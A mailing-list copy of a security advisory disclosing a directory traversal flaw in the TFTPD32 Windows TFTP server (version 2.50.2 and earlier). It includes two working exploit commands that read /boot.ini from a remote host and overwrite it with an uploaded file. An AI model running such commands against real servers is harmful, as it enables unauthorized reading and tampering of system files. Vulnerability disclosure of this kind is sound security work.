full-disclosure - TFTPD32 Directory Traversal Vulnerability

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From: aviram at beyondsecurity.com (Aviram Jenik)
Subject: TFTPD32 Directory Traversal Vulnerability

Advisory available at:
http://www.securiteam.com/windowsntfocus/6D00D2061G.html

TFTPD32 Directory Traversal Vulnerability
--------------------------------------------

SUMMARY

<http://tftpd32.jounin.net> TFTPD32 is a Freeware TFTP server for
windows 9x/NT/XP. It provides an implementation of the TFTPv2 protocol
(specified in the RFC 1350). 

A vulnerability in the product allows remote attackers to view any file
on the system as well as write to arbitrary locations.

DETAILS

Vulnerable systems:
 * TFTP32 version 2.50.2 and prior

Immune systems:
 * TFTP32 version 2.51

Exploit:
Getting files:
tftp host GET /boot.ini

Storing files:
tftp host PUT myfile /boot.ini

ADDITIONAL INFORMATION

The information has been provided by  <mailto:expert@...uriteam.com> 
SecurITeam Experts.

--
Aviram Jenik
Beyond Security Ltd.
http://www.BeyondSecurity.com
http://www.SecuriTeam.com

Know that you're safe:
http://www.AutomatedScanning.com